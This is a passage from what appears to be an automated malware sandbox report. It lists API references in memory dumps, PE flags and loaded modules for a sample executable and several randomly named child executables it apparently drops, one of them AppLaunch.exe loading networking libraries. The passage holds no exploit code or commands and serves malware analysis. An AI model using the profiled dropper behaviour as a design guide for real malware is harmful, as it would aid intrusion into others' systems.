"00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")38:T77e,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")39:T70e,Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp")3a:T77e,"3b567ed788b8d07ec909035f6147abd3.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "RN3xu93.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "dj4qK45.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4wt454Ls.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2vl5433.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "EL8Vj91.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1Of31Ad0.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Wg1zV34.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "kH1Br77.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "5bF4ZE9.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "6Ju7HU6.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT3b:T295a,"3b567ed788b8d07ec909035f6147abd3.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "KERNEL32" at base 74100000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "KERNEL32.DLL" at base 74100000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76300000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "FECLIENT.DLL" at base 73100000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73070000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "NTDLL.DLL" at base 776c0000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "RN3xu93.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "RN3xu93.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "RN3xu93.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "RN3xu93.exe" loaded module "KERNEL32" at base 74100000 "RN3xu93.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "RN3xu93.exe" loaded module "KERNEL32.DLL" at base 74100000 "RN3xu93.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76300000 "RN3xu93.exe" loaded module "FECLIENT.DLL" at base 73100000 "RN3xu93.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73070000 "RN3xu93.exe" loaded module "NTDLL.DLL" at base 776c0000 "RN3xu93.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "dj4qK45.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "dj4qK45.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "dj4qK45.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "dj4qK45.exe" loaded module "KERNEL32" at base 74100000 "dj4qK45.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "dj4qK45.exe" loaded module "KERNEL32.DLL" at base 74100000 "dj4qK45.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76300000 "dj4qK45.exe" loaded module "FECLIENT.DLL" at base 73100000 "dj4qK45.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73070000 "dj4qK45.exe" loaded module "NTDLL.DLL" at base 776c0000 "dj4qK45.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "EL8Vj91.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "EL8Vj91.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "EL8Vj91.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "EL8Vj91.exe" loaded module "KERNEL32" at base 74100000 "EL8Vj91.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "EL8Vj91.exe" loaded module "KERNEL32.DLL" at base 74100000 "EL8Vj91.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76300000 "EL8Vj91.exe" loaded module "FECLIENT.DLL" at base 73100000 "EL8Vj91.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73070000 "EL8Vj91.exe" loaded module "NTDLL.DLL" at base 776c0000 "EL8Vj91.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "Wg1zV34.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "Wg1zV34.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "Wg1zV34.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "Wg1zV34.exe" loaded module "KERNEL32" at base 74100000 "Wg1zV34.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "Wg1zV34.exe" loaded module "KERNEL32.DLL" at base 74100000 "Wg1zV34.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76300000 "Wg1zV34.exe" loaded module "FECLIENT.DLL" at base 73100000 "Wg1zV34.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73070000 "Wg1zV34.exe" loaded module "NTDLL.DLL" at base 776c0000 "Wg1zV34.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "kH1Br77.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "kH1Br77.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "kH1Br77.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "kH1Br77.exe" loaded module "KERNEL32" at base 74100000 "kH1Br77.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "kH1Br77.exe" loaded module "KERNEL32.DLL" at base 74100000 "kH1Br77.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76300000 "kH1Br77.exe" loaded module "FECLIENT.DLL" at base 73100000 "kH1Br77.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 73070000 "kH1Br77.exe" loaded module "NTDLL.DLL" at base 776c0000 "kH1Br77.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "1Of31Ad0.exe" loaded module "KERNEL32" at base 74100000 "1Of31Ad0.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 741d0000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 741d0000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 741d0000 "1Of31Ad0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 741d0000 "1Of31Ad0.exe" loaded module "NTDLL.DLL" at base 776c0000 "1Of31Ad0.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "1Of31Ad0.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 74690000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "AppLaunch.exe" loaded module "KERNEL32" at base 74100000 "AppLaunch.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 76300000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72fb0000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 74d70000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74690000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 73e00000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72800000 "AppLaunch.exe" loaded module "USER32.DLL" at base 751c0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 741d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 73040000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 74f10000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 74510000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 743c0000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 74100000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 706c0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 75590000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 74f10000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 741d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 726a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6fc60000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 740e0000 "AppLaunch.exe" loaded module "ADVAPI32" at base 76300000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 776c0000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "2vl5433.exe" loaded module "KERNEL32" at base 74100000 "2vl5433.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 741d0000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 741d0000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 741d0000 "2vl5433.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 741d0000 "2vl5433.exe" loaded module "NTDLL.DLL" at base 776c0000 "2vl5433.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74030000 "2vl5433.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 74690000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 741d0000 "AppLaunch.exe" loaded module "WININET.DLL" at base 723d0000 "AppLaunch.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72190000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 720e0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72190000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73ac0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75370000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 74690000 "3YF75jT.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 741d0000 "3YF75jT.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 741d0000 "3YF75jT.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 741d0000 "3YF75jT.exe" loaded module "KERNEL32" at base 74100000 "3YF75jT.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73160000 "3YF75jT.exe" loaded module "USER32" at base 751c0000 "3YF75jT.exe" loaded module "ADVAPI32" at base 76300000 "3YF75jT.exe" loaded module "SHELL32" at base 763800003c:T63a,"3b567ed788b8d07ec909035f6147abd3.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "3b567ed788b8d07ec909035f6147abd3.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "RN3xu93.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "RN3xu93.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 73400000 "dj4qK45.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 75160000 "dj4qK45.exe" loaded module 